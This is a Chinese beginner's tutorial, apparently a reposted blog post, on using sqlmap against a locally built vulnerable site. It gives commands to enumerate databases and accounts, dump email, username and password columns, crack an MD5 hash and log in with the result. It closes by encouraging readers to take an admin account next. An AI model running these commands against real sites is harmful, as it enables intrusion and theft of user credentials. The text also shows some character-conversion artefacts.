本文僅獻(xiàn)給想學(xué)習(xí)滲透測試的sqlmap小白,大牛請繞過。
>
>
對于網(wǎng)絡(luò)安全人員來說,掌握滲透工具的使用方法是一項(xiàng)必備的技能。然而,一個(gè)沒有師傅帶領(lǐng)的小白在剛開始學(xué)習(xí)時(shí),并不知道該如何入手進(jìn)行滲透學(xué)習(xí),所以本文旨在幫助這些小白入門。
sqlmap是一款非常強(qiáng)大的開源sql自動化注入工具,可以用來檢測和利用sql注入漏洞。它由python語言開發(fā)而成,因此運(yùn)行需要安裝python環(huán)境。
既然本文是基礎(chǔ)教程,以下只寫工具的基本使用方法。
本教程為sqlmap具體應(yīng)用案例,如需了解更多sqlmap資料可以訪問官方http://sqlmap.org ,或者烏云知識庫http://drops.wooyun.org/tips/401 和 http://drops.wooyun.org/tips/143 。
測試環(huán)境:本地搭建的具有sql注入點(diǎn)的網(wǎng)站 http://192.168.1.150
注意:sqlmap只是用來檢測和利用sql注入點(diǎn)的,并不能掃描出網(wǎng)站有哪些漏洞,使用前請先使用掃描工具掃出sql注入點(diǎn)。
教程開始:
一、檢測注入點(diǎn)是否可用
[plain] view plain copy
C:\Python27\sqlmap>python sqlmap.py -u "http://192.168.1.150/products.asp?id=134"
參數(shù):
-u:指定注入點(diǎn)url
結(jié)果:
注入結(jié)果展示:
(1)注入?yún)?shù)id為GET注入,注入類型有四種分別為:boolean-based blind、error-based、stacked queries、inline query。
(2)web服務(wù)器系統(tǒng)為windows 2003 or XP
(3)web應(yīng)用程序技術(shù)為:ASP.NET, Microsoft IIS 6.0
(4)數(shù)據(jù)庫類型為:SQLSERVER 2000
其中圖一有若干詢問語句,需要用戶輸入[Y/N],如果你懶得輸入或者不懂怎么輸入可以讓程序自動輸入,只需添加一個(gè)參數(shù)即可,命令如下:
[plain] view plain copy
C:\Python27\sqlmap>python sqlmap.py -u "http://192.168.1.150/products.asp?id=134" --batch
二、暴庫
一條命令即可曝出該sqlserver中所有數(shù)據(jù)庫名稱,命令如下:
[plain] view plain copy
C:\Python27\sqlmap>python sqlmap.py -u "http://192.168.1.150/products.asp?id=134" --dbs
參數(shù):
--dbs:dbs前面有兩條杠,請看清楚。
結(jié)果:
結(jié)果顯示該sqlserver中共包含7個(gè)可用的數(shù)據(jù)庫。
三、web當(dāng)前使用的數(shù)據(jù)庫
[plain] view plain copy
C:\Python27\sqlmap>python sqlmap.py -u "http://192.168.1.150/products.asp?id=134" --current-db
四、web數(shù)據(jù)庫使用賬戶
[plain] view plain copy
C:\Python27\sqlmap>python sqlmap.py -u "http://192.168.1.150/products.asp?id=134" --current-user
五、列出sqlserver所有用戶
[plain] view plain copy
C:\Python27\sqlmap>python sqlmap.py -u "http://192.168.1.150/products.asp?id=134" --users
六、數(shù)據(jù)庫賬戶與密碼
[plain] view plain copy
C:\Python27\sqlmap>python sqlmap.py -u "http://192.168.1.150/products.asp?id=134" --passwords
七、列出數(shù)據(jù)庫中的表
[plain] view plain copy
C:\Python27\sqlmap>python sqlmap.py -u "http://192.168.1.150/products.asp?id=134" -D tourdata --tables
參數(shù):
-D:指定數(shù)據(jù)庫名稱
--tables:列出表
結(jié)果:
結(jié)果體現(xiàn)共列出了34張表。
八、列出表中字段
[plain] view plain copy
C:\Python27\sqlmap>python sqlmap.py -u "http://192.168.1.150/products.asp?id=134" -D tourdata -T userb --columns
參數(shù):
-D:指定數(shù)據(jù)庫名稱
-T:指定要列出字段的表
--columns:指定列出字段
結(jié)果:
結(jié)果顯示該userb表中包含了23條字段。
九、暴字段內(nèi)容
[plain] view plain copy
C:\Python27\sqlmap>python sqlmap.py -u "http://192.168.1.150/products.asp?id=134" -D tourdata -T userb -C "email,Username,userpassword" --dump
參數(shù):
-C :指定要暴的字段
--dump:將結(jié)果導(dǎo)出
結(jié)果:
如果字段內(nèi)容太多,需要花費(fèi)很多時(shí)間??梢灾付▽?dǎo)出特定范圍的字段內(nèi)容,命令如下:
[plain] view plain copy
C:\Python27\sqlmap>python sqlmap.py -u "http://192.168.1.150/products.asp?id=134" -D tourdata -T userb -C "email,Username,userpassword" --start 1 --stop 10 --dump
參數(shù):
--start:指定開始的行
--stop:指定結(jié)束的行
此條命令的含義為:導(dǎo)出數(shù)據(jù)庫tourdata中的表userb中的字段(email,Username,userpassword)中的第1到第10行的數(shù)據(jù)內(nèi)容。
結(jié)果如下:
十、驗(yàn)證結(jié)果
通過上圖結(jié)果看到其中的一個(gè)用戶信息為:
email:123456@qq.com
username: 1.asp
password: 49ba59abbe56e057
通過md5解密,得到該hash的原文密碼為:123456
拿到賬號密碼我們來測試是否可以登錄,登錄結(jié)果如下:
驗(yàn)證成功!
當(dāng)然我們只是拿到普通會員賬號進(jìn)行登錄,你也可以拿到管理員賬號進(jìn)行登錄,后面的事情自己發(fā)揮吧,嘿嘿!